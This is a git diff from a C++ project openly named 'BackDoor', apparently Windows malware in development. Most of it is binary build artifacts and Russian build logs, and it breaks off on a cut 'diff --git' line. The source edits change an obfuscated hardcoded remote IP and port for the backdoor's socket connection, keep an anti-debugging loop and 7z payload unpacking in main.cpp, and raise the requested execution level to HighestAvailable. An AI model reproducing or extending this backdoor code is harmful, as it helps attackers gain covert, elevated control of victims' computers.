diff --git a/BackDoor/CoreDLL/Core.cpp b/BackDoor/CoreDLL/Core.cpp index d45dc18..46e51a5 100644 --- a/BackDoor/CoreDLL/Core.cpp +++ b/BackDoor/CoreDLL/Core.cpp @@ -1,5 +1,3 @@ -const char* msg = "LS0tIC0uIC4gIC0uIC4uIC0tLiAuLi4uIC0gLS0uLi0tICAuLiAgLS4tLiAtLS0gLi4tIC4tLi4gLS4uIC0uIC4tLS0tLiAtICAuLi4gLi0uLiAuIC4gLi0tLiAuLS4tLi0gIC4uICAtLi0gLiAuLS0uIC0gIC4tLi4gLS0tIC0tLSAtLi0gLi4gLS4gLS0uICAuLSAtICAtIC4uLi4gLiAgLi0tLiAtLS0gLi0uIC0gLi0uIC4tIC4uIC0gIC0gLi4uLiAuLSAtICAuLS0gLi0gLi4uICAtLi0uIC4uLi4gLiAuIC4tLiAuLi0uIC4uLSAuLS4uICAtLS0gLS4gIC0gLi4uLiAuICAuLS0gLi0gLi0uLiAuLS4uIC4tLi0uLSAgLi4gLS4gIC0gLi4uLiAuICAtLSAtLS0gLi0uIC0uIC4uIC0uIC0tLiAgLi4gIC4uLiAtIC4uIC4tLi4gLi0uLiAgLS0gLi0gLS4gLi0gLS0uIC4gLS4uICAtIC0tLSAgLi4tLiAuLSAuLS4uIC4tLi4gIC4tIC4uLiAuLS4uIC4gLiAuLS0uIC0tLi4tLSAgLi0gLS4gLS4uICAuLS0gLi4uLiAuIC0uICAuLiAgLi0tIC0tLSAtLi0gLiAgLi4tIC4tLS4gIC4uICAuLi4gLi0gLi0tICAuLSAgLi0tIC4uIC0uIC0uLiAtLS0gLi0tICAtLS0gLS4gIC0gLi4uLiAuICAuLi4tLSAuLi4uLSAtIC4uLi4gIC4uLS4gLi0uLiAtLS0gLS0tIC4tLiAgLi4gLS4gIC4tLS4gLi0uLiAuLSAtLi0uIC4gIC0tLSAuLi0uICAtIC4uLi4gLiAgLi0tLiAuLSAuLiAtLiAtIC4uIC0uIC0tLiAuLS4tLi0="; - #define _WINSOCK_DEPRECATED_NO_WARNINGS #include #pragma comment(lib,"Ws2_32.lib") @@ -12,9 +10,9 @@ const char* msg = "LS0tIC0uIC4gIC0uIC4uIC0tLiAuLi4uIC0gLS0uLi0tICAuLiAgLS4tLiAtL // Ηΰμενθςό IP θ port #pragma region Network -const unsigned short int lengthIP = 12; -char InternetProtacol[lengthIP] = "081-057-/-5"; -int port = 1111; +const unsigned short int lengthIP = 15; +char InternetProtacol[lengthIP] = "036-34-144-104"; +int port = 1112; SOCKADDR_IN addr; SOCKET Socket; diff --git a/BackDoor/CoreDLL/x64/Debug/Core.obj b/BackDoor/CoreDLL/x64/Debug/Core.obj index ac2cf12..7bca37c 100644 Binary files a/BackDoor/CoreDLL/x64/Debug/Core.obj and b/BackDoor/CoreDLL/x64/Debug/Core.obj differ diff --git a/BackDoor/CoreDLL/x64/Debug/CoreDLL.ilk b/BackDoor/CoreDLL/x64/Debug/CoreDLL.ilk index a57aadf..160b769 100644 Binary files a/BackDoor/CoreDLL/x64/Debug/CoreDLL.ilk and b/BackDoor/CoreDLL/x64/Debug/CoreDLL.ilk differ diff --git a/BackDoor/CoreDLL/x64/Debug/CoreDLL.tlog/CL.read.1.tlog b/BackDoor/CoreDLL/x64/Debug/CoreDLL.tlog/CL.read.1.tlog index c02f175..82a3400 100644 Binary files a/BackDoor/CoreDLL/x64/Debug/CoreDLL.tlog/CL.read.1.tlog and b/BackDoor/CoreDLL/x64/Debug/CoreDLL.tlog/CL.read.1.tlog differ diff --git a/BackDoor/CoreDLL/x64/Debug/CoreDLL.tlog/CoreDLL.lastbuildstate b/BackDoor/CoreDLL/x64/Debug/CoreDLL.tlog/CoreDLL.lastbuildstate index 4716e86..ed28650 100644 --- a/BackDoor/CoreDLL/x64/Debug/CoreDLL.tlog/CoreDLL.lastbuildstate +++ b/BackDoor/CoreDLL/x64/Debug/CoreDLL.tlog/CoreDLL.lastbuildstate @@ -1,2 +1,2 @@ -PlatformToolSet=v143:VCToolArchitecture=Native64Bit:VCToolsVersion=14.39.33519:TargetPlatformVersion=10.0.22621.0: +PlatformToolSet=v143:VCToolArchitecture=Native64Bit:VCToolsVersion=14.40.33807:TargetPlatformVersion=10.0.22621.0: Debug|x64|D:\Projects\Malwere\| diff --git a/BackDoor/CoreDLL/x64/Debug/CoreDLL.tlog/link.read.1.tlog b/BackDoor/CoreDLL/x64/Debug/CoreDLL.tlog/link.read.1.tlog index e1a4cfc..c03e927 100644 Binary files a/BackDoor/CoreDLL/x64/Debug/CoreDLL.tlog/link.read.1.tlog and b/BackDoor/CoreDLL/x64/Debug/CoreDLL.tlog/link.read.1.tlog differ diff --git a/BackDoor/CoreDLL/x64/Debug/vc143.idb b/BackDoor/CoreDLL/x64/Debug/vc143.idb index 0a4b8b7..605aed7 100644 Binary files a/BackDoor/CoreDLL/x64/Debug/vc143.idb and b/BackDoor/CoreDLL/x64/Debug/vc143.idb differ diff --git a/BackDoor/CoreDLL/x64/Debug/vc143.pdb b/BackDoor/CoreDLL/x64/Debug/vc143.pdb index 2bbcd29..513f7cb 100644 Binary files a/BackDoor/CoreDLL/x64/Debug/vc143.pdb and b/BackDoor/CoreDLL/x64/Debug/vc143.pdb differ diff --git a/BackDoor/CoreDLL/x64/Release/Core.obj b/BackDoor/CoreDLL/x64/Release/Core.obj index 70f5a60..97b8f05 100644 Binary files a/BackDoor/CoreDLL/x64/Release/Core.obj and b/BackDoor/CoreDLL/x64/Release/Core.obj differ diff --git a/BackDoor/CoreDLL/x64/Release/CoreDLL.iobj b/BackDoor/CoreDLL/x64/Release/CoreDLL.iobj index d658afd..2f5230c 100644 Binary files a/BackDoor/CoreDLL/x64/Release/CoreDLL.iobj and b/BackDoor/CoreDLL/x64/Release/CoreDLL.iobj differ diff --git a/BackDoor/CoreDLL/x64/Release/CoreDLL.ipdb b/BackDoor/CoreDLL/x64/Release/CoreDLL.ipdb index ce7c4b4..1dc5bf2 100644 Binary files a/BackDoor/CoreDLL/x64/Release/CoreDLL.ipdb and b/BackDoor/CoreDLL/x64/Release/CoreDLL.ipdb differ diff --git a/BackDoor/CoreDLL/x64/Release/CoreDLL.tlog/CL.read.1.tlog b/BackDoor/CoreDLL/x64/Release/CoreDLL.tlog/CL.read.1.tlog index c02f175..82a3400 100644 Binary files a/BackDoor/CoreDLL/x64/Release/CoreDLL.tlog/CL.read.1.tlog and b/BackDoor/CoreDLL/x64/Release/CoreDLL.tlog/CL.read.1.tlog differ diff --git a/BackDoor/CoreDLL/x64/Release/CoreDLL.tlog/CoreDLL.lastbuildstate b/BackDoor/CoreDLL/x64/Release/CoreDLL.tlog/CoreDLL.lastbuildstate index 655165e..70e38bb 100644 --- a/BackDoor/CoreDLL/x64/Release/CoreDLL.tlog/CoreDLL.lastbuildstate +++ b/BackDoor/CoreDLL/x64/Release/CoreDLL.tlog/CoreDLL.lastbuildstate @@ -1,2 +1,2 @@ -PlatformToolSet=v143:VCToolArchitecture=Native64Bit:VCToolsVersion=14.39.33519:TargetPlatformVersion=10.0.22621.0: +PlatformToolSet=v143:VCToolArchitecture=Native64Bit:VCToolsVersion=14.40.33807:TargetPlatformVersion=10.0.22621.0: Release|x64|D:\Projects\Malwere\| diff --git a/BackDoor/CoreDLL/x64/Release/CoreDLL.tlog/link.read.1.tlog b/BackDoor/CoreDLL/x64/Release/CoreDLL.tlog/link.read.1.tlog index e2d0880..4a87eb7 100644 Binary files a/BackDoor/CoreDLL/x64/Release/CoreDLL.tlog/link.read.1.tlog and b/BackDoor/CoreDLL/x64/Release/CoreDLL.tlog/link.read.1.tlog differ diff --git a/BackDoor/CoreDLL/x64/Release/vc143.pdb b/BackDoor/CoreDLL/x64/Release/vc143.pdb index 2e9bba9..5a35d70 100644 Binary files a/BackDoor/CoreDLL/x64/Release/vc143.pdb and b/BackDoor/CoreDLL/x64/Release/vc143.pdb differ diff --git a/BackDoor/NetDLL/NetDLL.cpp b/BackDoor/NetDLL/NetDLL.cpp index 561aadc..9402f37 100644 --- a/BackDoor/NetDLL/NetDLL.cpp +++ b/BackDoor/NetDLL/NetDLL.cpp @@ -1,5 +1,3 @@ -const char* msg = "LS0tIC0uIC4gIC0uIC4uIC0tLiAuLi4uIC0gLS0uLi0tICAuLiAgLS4tLiAtLS0gLi4tIC4tLi4gLS4uIC0uIC4tLS0tLiAtICAuLi4gLi0uLiAuIC4gLi0tLiAuLS4tLi0gIC4uICAtLi0gLiAuLS0uIC0gIC4tLi4gLS0tIC0tLSAtLi0gLi4gLS4gLS0uICAuLSAtICAtIC4uLi4gLiAgLi0tLiAtLS0gLi0uIC0gLi0uIC4tIC4uIC0gIC0gLi4uLiAuLSAtICAuLS0gLi0gLi4uICAtLi0uIC4uLi4gLiAuIC4tLiAuLi0uIC4uLSAuLS4uICAtLS0gLS4gIC0gLi4uLiAuICAuLS0gLi0gLi0uLiAuLS4uIC4tLi0uLSAgLi4gLS4gIC0gLi4uLiAuICAtLSAtLS0gLi0uIC0uIC4uIC0uIC0tLiAgLi4gIC4uLiAtIC4uIC4tLi4gLi0uLiAgLS0gLi0gLS4gLi0gLS0uIC4gLS4uICAtIC0tLSAgLi4tLiAuLSAuLS4uIC4tLi4gIC4tIC4uLiAuLS4uIC4gLiAuLS0uIC0tLi4tLSAgLi0gLS4gLS4uICAuLS0gLi4uLiAuIC0uICAuLiAgLi0tIC0tLSAtLi0gLiAgLi4tIC4tLS4gIC4uICAuLi4gLi0gLi0tICAuLSAgLi0tIC4uIC0uIC0uLiAtLS0gLi0tICAtLS0gLS4gIC0gLi4uLiAuICAuLi4tLSAuLi4uLSAtIC4uLi4gIC4uLS4gLi0uLiAtLS0gLS0tIC4tLiAgLi4gLS4gIC4tLS4gLi0uLiAuLSAtLi0uIC4gIC0tLSAuLi0uICAtIC4uLi4gLiAgLi0tLiAuLSAuLiAtLiAtIC4uIC0uIC0tLiAuLS4tLi0="; - #define _WINSOCK_DEPRECATED_NO_WARNINGS #pragma comment(lib, "Ws2_32.lib") #include "NetDLL.h" @@ -15,6 +13,9 @@ void NetInit() void MyConnect(SOCKADDR* addr, SOCKET* Socket) { if (WSAConnect(*Socket, addr, sizeof(*addr), NULL, NULL, NULL, NULL)) + { + std::cout << WSAGetLastError() << '\n'; exit(2); + } Sleep(10); } \ No newline at end of file diff --git a/BackDoor/NetDLL/x64/Debug/NetDLL.ilk b/BackDoor/NetDLL/x64/Debug/NetDLL.ilk index f01cd37..1f6eda4 100644 Binary files a/BackDoor/NetDLL/x64/Debug/NetDLL.ilk and b/BackDoor/NetDLL/x64/Debug/NetDLL.ilk differ diff --git a/BackDoor/NetDLL/x64/Debug/NetDLL.log b/BackDoor/NetDLL/x64/Debug/NetDLL.log index 59d6b41..e199591 100644 --- a/BackDoor/NetDLL/x64/Debug/NetDLL.log +++ b/BackDoor/NetDLL/x64/Debug/NetDLL.log @@ -1,3 +1,5 @@ -ο»Ώ LINK : Π½Π΅ Π½Π°ΠΉΠ΄Π΅Π½ ΠΈΠ»ΠΈ Π½Π΅ Π²Ρ‹ΠΏΠΎΠ»Π½Π΅Π½Π° сборка D:\Projects\Malwere\x64\Debug\NetDLL.dll ΠΏΡ€ΠΈ послСднСй ΠΈΠ½ΠΊΡ€Π΅ΠΌΠ΅Π½Ρ‚Π½ΠΎΠΉ ΠΊΠΎΠΌΠΏΠΎΠ½ΠΎΠ²ΠΊΠ΅; выполняСтся полная ΠΊΠΎΠΌΠΏΠΎΠ½ΠΎΠ²ΠΊΠ° +ο»Ώ NetDLL.cpp +D:\Projects\Malwere\BackDoor\NetDLL\NetDLL.cpp(6,6): warning C4273: NetInit: нСсовмСстимоС связываниС dll +D:\Projects\Malwere\BackDoor\NetDLL\NetDLL.cpp(13,6): warning C4273: MyConnect: нСсовмСстимоС связываниС dll БоздаСтся Π±ΠΈΠ±Π»ΠΈΠΎΡ‚Π΅ΠΊΠ° D:\Projects\Malwere\x64\Debug\NetDLL.lib ΠΈ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ D:\Projects\Malwere\x64\Debug\NetDLL.exp NetDLL.vcxproj -> D:\Projects\Malwere\x64\Debug\NetDLL.dll diff --git a/BackDoor/NetDLL/x64/Debug/NetDLL.obj b/BackDoor/NetDLL/x64/Debug/NetDLL.obj index 229ba1f..4660d18 100644 Binary files a/BackDoor/NetDLL/x64/Debug/NetDLL.obj and b/BackDoor/NetDLL/x64/Debug/NetDLL.obj differ diff --git a/BackDoor/NetDLL/x64/Debug/NetDLL.tlog/CL.read.1.tlog b/BackDoor/NetDLL/x64/Debug/NetDLL.tlog/CL.read.1.tlog index 78569b4..07c5dba 100644 Binary files a/BackDoor/NetDLL/x64/Debug/NetDLL.tlog/CL.read.1.tlog and b/BackDoor/NetDLL/x64/Debug/NetDLL.tlog/CL.read.1.tlog differ diff --git a/BackDoor/NetDLL/x64/Debug/NetDLL.tlog/NetDLL.lastbuildstate b/BackDoor/NetDLL/x64/Debug/NetDLL.tlog/NetDLL.lastbuildstate index 4716e86..ed28650 100644 --- a/BackDoor/NetDLL/x64/Debug/NetDLL.tlog/NetDLL.lastbuildstate +++ b/BackDoor/NetDLL/x64/Debug/NetDLL.tlog/NetDLL.lastbuildstate @@ -1,2 +1,2 @@ -PlatformToolSet=v143:VCToolArchitecture=Native64Bit:VCToolsVersion=14.39.33519:TargetPlatformVersion=10.0.22621.0: +PlatformToolSet=v143:VCToolArchitecture=Native64Bit:VCToolsVersion=14.40.33807:TargetPlatformVersion=10.0.22621.0: Debug|x64|D:\Projects\Malwere\| diff --git a/BackDoor/NetDLL/x64/Debug/NetDLL.tlog/link.read.1.tlog b/BackDoor/NetDLL/x64/Debug/NetDLL.tlog/link.read.1.tlog index 195f8c6..766b8f6 100644 Binary files a/BackDoor/NetDLL/x64/Debug/NetDLL.tlog/link.read.1.tlog and b/BackDoor/NetDLL/x64/Debug/NetDLL.tlog/link.read.1.tlog differ diff --git a/BackDoor/NetDLL/x64/Debug/vc143.idb b/BackDoor/NetDLL/x64/Debug/vc143.idb index f213a0a..c2057ed 100644 Binary files a/BackDoor/NetDLL/x64/Debug/vc143.idb and b/BackDoor/NetDLL/x64/Debug/vc143.idb differ diff --git a/BackDoor/NetDLL/x64/Debug/vc143.pdb b/BackDoor/NetDLL/x64/Debug/vc143.pdb index ec1e69a..4e0e9ee 100644 Binary files a/BackDoor/NetDLL/x64/Debug/vc143.pdb and b/BackDoor/NetDLL/x64/Debug/vc143.pdb differ diff --git a/BackDoor/NetDLL/x64/Release/NetDLL.iobj b/BackDoor/NetDLL/x64/Release/NetDLL.iobj index 1542373..04b673c 100644 Binary files a/BackDoor/NetDLL/x64/Release/NetDLL.iobj and b/BackDoor/NetDLL/x64/Release/NetDLL.iobj differ diff --git a/BackDoor/NetDLL/x64/Release/NetDLL.ipdb b/BackDoor/NetDLL/x64/Release/NetDLL.ipdb index 35c54cb..c4831b9 100644 Binary files a/BackDoor/NetDLL/x64/Release/NetDLL.ipdb and b/BackDoor/NetDLL/x64/Release/NetDLL.ipdb differ diff --git a/BackDoor/NetDLL/x64/Release/NetDLL.log b/BackDoor/NetDLL/x64/Release/NetDLL.log index 841ca49..fc9ca59 100644 --- a/BackDoor/NetDLL/x64/Release/NetDLL.log +++ b/BackDoor/NetDLL/x64/Release/NetDLL.log @@ -1,6 +1,9 @@ -ο»Ώ БоздаСтся Π±ΠΈΠ±Π»ΠΈΠΎΡ‚Π΅ΠΊΠ° D:\Projects\Malwere\x64\Release\NetDLL.lib ΠΈ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ D:\Projects\Malwere\x64\Release\NetDLL.exp +ο»Ώ NetDLL.cpp +D:\Projects\Malwere\BackDoor\NetDLL\NetDLL.cpp(6,6): warning C4273: NetInit: нСсовмСстимоС связываниС dll +D:\Projects\Malwere\BackDoor\NetDLL\NetDLL.cpp(13,6): warning C4273: MyConnect: нСсовмСстимоС связываниС dll + БоздаСтся Π±ΠΈΠ±Π»ΠΈΠΎΡ‚Π΅ΠΊΠ° D:\Projects\Malwere\x64\Release\NetDLL.lib ΠΈ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ D:\Projects\Malwere\x64\Release\NetDLL.exp Π‘ΠΎΠ·Π΄Π°Π½ΠΈΠ΅ ΠΊΠΎΠ΄Π° - 0 of 2 functions ( 0.0%) were compiled, the rest were copied from previous compilation. + 1 of 10 functions (10.0%) were compiled, the rest were copied from previous compilation. 0 functions were new in current compilation 0 functions had inline decision re-evaluated but remain unchanged Π‘ΠΎΠ·Π΄Π°Π½ΠΈΠ΅ ΠΊΠΎΠ΄Π° Π·Π°Π²Π΅Ρ€ΡˆΠ΅Π½ΠΎ diff --git a/BackDoor/NetDLL/x64/Release/NetDLL.obj b/BackDoor/NetDLL/x64/Release/NetDLL.obj index 7950237..b4cc5bb 100644 Binary files a/BackDoor/NetDLL/x64/Release/NetDLL.obj and b/BackDoor/NetDLL/x64/Release/NetDLL.obj differ diff --git a/BackDoor/NetDLL/x64/Release/NetDLL.tlog/CL.read.1.tlog b/BackDoor/NetDLL/x64/Release/NetDLL.tlog/CL.read.1.tlog index 78569b4..f182926 100644 Binary files a/BackDoor/NetDLL/x64/Release/NetDLL.tlog/CL.read.1.tlog and b/BackDoor/NetDLL/x64/Release/NetDLL.tlog/CL.read.1.tlog differ diff --git a/BackDoor/NetDLL/x64/Release/NetDLL.tlog/NetDLL.lastbuildstate b/BackDoor/NetDLL/x64/Release/NetDLL.tlog/NetDLL.lastbuildstate index 655165e..70e38bb 100644 --- a/BackDoor/NetDLL/x64/Release/NetDLL.tlog/NetDLL.lastbuildstate +++ b/BackDoor/NetDLL/x64/Release/NetDLL.tlog/NetDLL.lastbuildstate @@ -1,2 +1,2 @@ -PlatformToolSet=v143:VCToolArchitecture=Native64Bit:VCToolsVersion=14.39.33519:TargetPlatformVersion=10.0.22621.0: +PlatformToolSet=v143:VCToolArchitecture=Native64Bit:VCToolsVersion=14.40.33807:TargetPlatformVersion=10.0.22621.0: Release|x64|D:\Projects\Malwere\| diff --git a/BackDoor/NetDLL/x64/Release/NetDLL.tlog/link.read.1.tlog b/BackDoor/NetDLL/x64/Release/NetDLL.tlog/link.read.1.tlog index 16c632c..331eec4 100644 Binary files a/BackDoor/NetDLL/x64/Release/NetDLL.tlog/link.read.1.tlog and b/BackDoor/NetDLL/x64/Release/NetDLL.tlog/link.read.1.tlog differ diff --git a/BackDoor/NetDLL/x64/Release/vc143.pdb b/BackDoor/NetDLL/x64/Release/vc143.pdb index a3f9846..cd78b60 100644 Binary files a/BackDoor/NetDLL/x64/Release/vc143.pdb and b/BackDoor/NetDLL/x64/Release/vc143.pdb differ diff --git a/BackDoor/main/CoreDLL.dll b/BackDoor/main/CoreDLL.dll index 6e5e1d3..0a83779 100644 Binary files a/BackDoor/main/CoreDLL.dll and b/BackDoor/main/CoreDLL.dll differ diff --git a/BackDoor/main/NetDLL.dll b/BackDoor/main/NetDLL.dll index d1060b9..6bbe42f 100644 Binary files a/BackDoor/main/NetDLL.dll and b/BackDoor/main/NetDLL.dll differ diff --git a/BackDoor/main/main.cpp b/BackDoor/main/main.cpp index 991e1dd..7300798 100644 --- a/BackDoor/main/main.cpp +++ b/BackDoor/main/main.cpp @@ -1,15 +1,13 @@ -const char* msg = "LS0tIC0uIC4gIC0uIC4uIC0tLiAuLi4uIC0gLS0uLi0tICAuLiAgLS4tLiAtLS0gLi4tIC4tLi4gLS4uIC0uIC4tLS0tLiAtICAuLi4gLi0uLiAuIC4gLi0tLiAuLS4tLi0gIC4uICAtLi0gLiAuLS0uIC0gIC4tLi4gLS0tIC0tLSAtLi0gLi4gLS4gLS0uICAuLSAtICAtIC4uLi4gLiAgLi0tLiAtLS0gLi0uIC0gLi0uIC4tIC4uIC0gIC0gLi4uLiAuLSAtICAuLS0gLi0gLi4uICAtLi0uIC4uLi4gLiAuIC4tLiAuLi0uIC4uLSAuLS4uICAtLS0gLS4gIC0gLi4uLiAuICAuLS0gLi0gLi0uLiAuLS4uIC4tLi0uLSAgLi4gLS4gIC0gLi4uLiAuICAtLSAtLS0gLi0uIC0uIC4uIC0uIC0tLiAgLi4gIC4uLiAtIC4uIC4tLi4gLi0uLiAgLS0gLi0gLS4gLi0gLS0uIC4gLS4uICAtIC0tLSAgLi4tLiAuLSAuLS4uIC4tLi4gIC4tIC4uLiAuLS4uIC4gLiAuLS0uIC0tLi4tLSAgLi0gLS4gLS4uICAuLS0gLi4uLiAuIC0uICAuLiAgLi0tIC0tLSAtLi0gLiAgLi4tIC4tLS4gIC4uICAuLi4gLi0gLi0tICAuLSAgLi0tIC4uIC0uIC0uLiAtLS0gLi0tICAtLS0gLS4gIC0gLi4uLiAuICAuLi4tLSAuLi4uLSAtIC4uLi4gIC4uLS4gLi0uLiAtLS0gLS0tIC4tLiAgLi4gLS4gIC4tLS4gLi0uLiAuLSAtLi0uIC4gIC0tLSAuLi0uICAtIC4uLi4gLiAgLi0tLiAuLSAuLiAtLiAtIC4uIC0uIC0tLiAuLS4tLi0="; - #include #include "Virtualisetion.h" int __stdcall WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, PSTR lpCmdLine, int nCmdShow) +//int main() { while(IsDebuggerPresent()) {} system("7z.exe x main.ar -y"); - system("7z.exe x module.ar -y"); const int SizeCode = 25; char Code[SizeCode] = { @@ -25,6 +23,5 @@ int __stdcall WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, Syscall }; VirtualStart(Code, SizeCode); - return 0; } \ No newline at end of file diff --git a/BackDoor/main/main.vcxproj b/BackDoor/main/main.vcxproj index 5705f37..3714302 100644 --- a/BackDoor/main/main.vcxproj +++ b/BackDoor/main/main.vcxproj @@ -111,9 +111,9 @@ Windows true false - AsInvoker + HighestAvailable false - false + true false false $(CoreLibraryDependencies);%(AdditionalDependencies) @@ -158,9 +158,9 @@ true true false - AsInvoker + HighestAvailable false - false + true false false $(CoreLibraryDependencies);%(AdditionalDependencies) @@ -198,9 +198,9 @@ Windows true false - AsInvoker + HighestAvailable false - false + true false false $(CoreLibraryDependencies);%(AdditionalDependencies) @@ -245,9 +245,9 @@ true true false - AsInvoker + HighestAvailable false - false + true false false $(CoreLibraryDependencies);%(AdditionalDependencies) diff --git a/BackDoor/main/main.vcxproj.user b/BackDoor/main/main.vcxproj.user index 62a4691..ad6a591 100644 --- a/BackDoor/main/main.vcxproj.user +++ b/BackDoor/main/main.vcxproj.user @@ -11,5 +11,6 @@ WindowsLocalDebugger + Auto \ No newline at end of file diff --git a/BackDoor/main/x64/Debug/main.log b/BackDoor/main/x64/Debug/main.log index 084f506..37a141d 100644 --- a/BackDoor/main/x64/Debug/main.log +++ b/BackDoor/main/x64/Debug/main.log @@ -1,11 +1,7 @@ ο»Ώcl : командная строка warning D9035: использованиС ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€Π° "Zc:forScope-" Π½Π΅ΠΆΠ΅Π»Π°Ρ‚Π΅Π»ΡŒΠ½ΠΎ, ΠΎΠ½ Π±ΡƒΠ΄Π΅Ρ‚ ΡƒΠ΄Π°Π»Π΅Π½ Π² ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΡ… выпусках main.cpp D:\Projects\Malwere\BackDoor\main\Virtualisetion.h(40,46): warning C4244: return: ΠΏΡ€Π΅ΠΎΠ±Ρ€Π°Π·ΠΎΠ²Π°Π½ΠΈΠ΅ "__int64" Π² "int", Π²ΠΎΠ·ΠΌΠΎΠΆΠ½Π° потСря Π΄Π°Π½Π½Ρ‹Ρ… - (компиляция исходного Ρ„Π°ΠΉΠ»Π° "main.cpp") - -D:\Projects\Malwere\BackDoor\main\Virtualisetion.h(108,19): warning C4244: инициализация: ΠΏΡ€Π΅ΠΎΠ±Ρ€Π°Π·ΠΎΠ²Π°Π½ΠΈΠ΅ "__int64" Π² "int", Π²ΠΎΠ·ΠΌΠΎΠΆΠ½Π° потСря Π΄Π°Π½Π½Ρ‹Ρ… - (компиляция исходного Ρ„Π°ΠΉΠ»Π° "main.cpp") - +D:\Projects\Malwere\BackDoor\main\Virtualisetion.h(90,19): warning C4244: инициализация: ΠΏΡ€Π΅ΠΎΠ±Ρ€Π°Π·ΠΎΠ²Π°Π½ΠΈΠ΅ "__int64" Π² "int", Π²ΠΎΠ·ΠΌΠΎΠΆΠ½Π° потСря Π΄Π°Π½Π½Ρ‹Ρ… LINK : warning LNK4075: Π½Π΅ учитываСтся "/INCREMENTAL" ΠΈΠ·-Π·Π° спСцификации "/OPT:REF" main.obj : warning LNK4075: Π½Π΅ учитываСтся "/EDITANDCONTINUE" ΠΈΠ·-Π·Π° спСцификации "/OPT:REF" main.vcxproj -> D:\Projects\Malwere\x64\Debug\main.exe diff --git a/BackDoor/main/x64/Debug/main.obj b/BackDoor/main/x64/Debug/main.obj index ef1941e..88bb01c 100644 Binary files a/BackDoor/main/x64/Debug/main.obj and b/BackDoor/main/x64/Debug/main.obj differ diff --git a/BackDoor/main/x64/Debug/main.tlog/CL.read.1.tlog b/BackDoor/main/x64/Debug/main.tlog/CL.read.1.tlog index 208ee91..0f19345 100644 Binary files a/BackDoor/main/x64/Debug/main.tlog/CL.read.1.tlog and b/BackDoor/main/x64/Debug/main.tlog/CL.read.1.tlog differ diff --git a/BackDoor/main/x64/Debug/main.tlog/link.read.1.tlog b/BackDoor/main/x64/Debug/main.tlog/link.read.1.tlog index 44518f1..41b0fe1 100644 Binary files a/BackDoor/main/x64/Debug/main.tlog/link.read.1.tlog and b/BackDoor/main/x64/Debug/main.tlog/link.read.1.tlog differ diff --git a/BackDoor/main/x64/Debug/main.tlog/main.lastbuildstate b/BackDoor/main/x64/Debug/main.tlog/main.lastbuildstate index 4716e86..ed28650 100644 --- a/BackDoor/main/x64/Debug/main.tlog/main.lastbuildstate +++ b/BackDoor/main/x64/Debug/main.tlog/main.lastbuildstate @@ -1,2 +1,2 @@ -PlatformToolSet=v143:VCToolArchitecture=Native64Bit:VCToolsVersion=14.39.33519:TargetPlatformVersion=10.0.22621.0: +PlatformToolSet=v143:VCToolArchitecture=Native64Bit:VCToolsVersion=14.40.33807:TargetPlatformVersion=10.0.22621.0: Debug|x64|D:\Projects\Malwere\| diff --git a/BackDoor/main/x64/Debug/vc143.idb b/BackDoor/main/x64/Debug/vc143.idb index 276772c..cf3fd0d 100644 Binary files a/BackDoor/main/x64/Debug/vc143.idb and b/BackDoor/main/x64/Debug/vc143.idb differ diff --git a/BackDoor/main/x64/Debug/vc143.pdb b/BackDoor/main/x64/Debug/vc143.pdb index f30adf7..d1afa68 100644 Binary files a/BackDoor/main/x64/Debug/vc143.pdb and b/BackDoor/main/x64/Debug/vc143.pdb differ diff --git a/BackDoor/main/x64/Release/main.log b/BackDoor/main/x64/Release/main.log index 6bdfa58..c74133a 100644 --- a/BackDoor/main/x64/Release/main.log +++ b/BackDoor/main/x64/Release/main.log @@ -1,10 +1,6 @@ ο»Ώcl : командная строка warning D9035: использованиС ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€Π° "Zc:forScope-" Π½Π΅ΠΆΠ΅Π»Π°Ρ‚Π΅Π»ΡŒΠ½ΠΎ, ΠΎΠ½ Π±ΡƒΠ΄Π΅Ρ‚ ΡƒΠ΄Π°Π»Π΅Π½ Π² ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΡ… выпусках main.cpp D:\Projects\Malwere\BackDoor\main\Virtualisetion.h(40,46): warning C4244: return: ΠΏΡ€Π΅ΠΎΠ±Ρ€Π°Π·ΠΎΠ²Π°Π½ΠΈΠ΅ "__int64" Π² "int", Π²ΠΎΠ·ΠΌΠΎΠΆΠ½Π° потСря Π΄Π°Π½Π½Ρ‹Ρ… - (компиляция исходного Ρ„Π°ΠΉΠ»Π° "main.cpp") - -D:\Projects\Malwere\BackDoor\main\Virtualisetion.h(96,19): warning C4244: инициализация: ΠΏΡ€Π΅ΠΎΠ±Ρ€Π°Π·ΠΎΠ²Π°Π½ΠΈΠ΅ "__int64" Π² "int", Π²ΠΎΠ·ΠΌΠΎΠΆΠ½Π° потСря Π΄Π°Π½Π½Ρ‹Ρ… - (компиляция исходного Ρ„Π°ΠΉΠ»Π° "main.cpp") - +D:\Projects\Malwere\BackDoor\main\Virtualisetion.h(90,19): warning C4244: инициализация: ΠΏΡ€Π΅ΠΎΠ±Ρ€Π°Π·ΠΎΠ²Π°Π½ΠΈΠ΅ "__int64" Π² "int", Π²ΠΎΠ·ΠΌΠΎΠΆΠ½Π° потСря Π΄Π°Π½Π½Ρ‹Ρ… LINK : ΡƒΠΊΠ°Π·Π°Π½ ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€ /LTCG, Π½ΠΎ Π½Π΅ трСбуСтся созданиС ΠΊΠΎΠ΄Π°; ΡƒΠ΄Π°Π»ΠΈΡ‚Π΅ /LTCG ΠΈΠ· ΠΊΠΎΠΌΠ°Π½Π΄Π½ΠΎΠΉ строки ΠΊΠΎΠΌΠΏΠΎΠ½ΠΎΠ²ΠΊΠΈ для ΠΏΠΎΠ²Ρ‹ΡˆΠ΅Π½ΠΈΡ ΠΏΡ€ΠΎΠΈΠ·Π²ΠΎΠ΄ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎΡΡ‚ΠΈ ΠΊΠΎΠΌΠΏΠΎΠ½ΠΎΠ²Ρ‰ΠΈΠΊΠ° main.vcxproj -> D:\Projects\Malwere\x64\Release\main.exe diff --git a/BackDoor/main/x64/Release/main.obj b/BackDoor/main/x64/Release/main.obj index 9e967d0..7c1a38a 100644 Binary files a/BackDoor/main/x64/Release/main.obj and b/BackDoor/main/x64/Release/main.obj differ diff --git 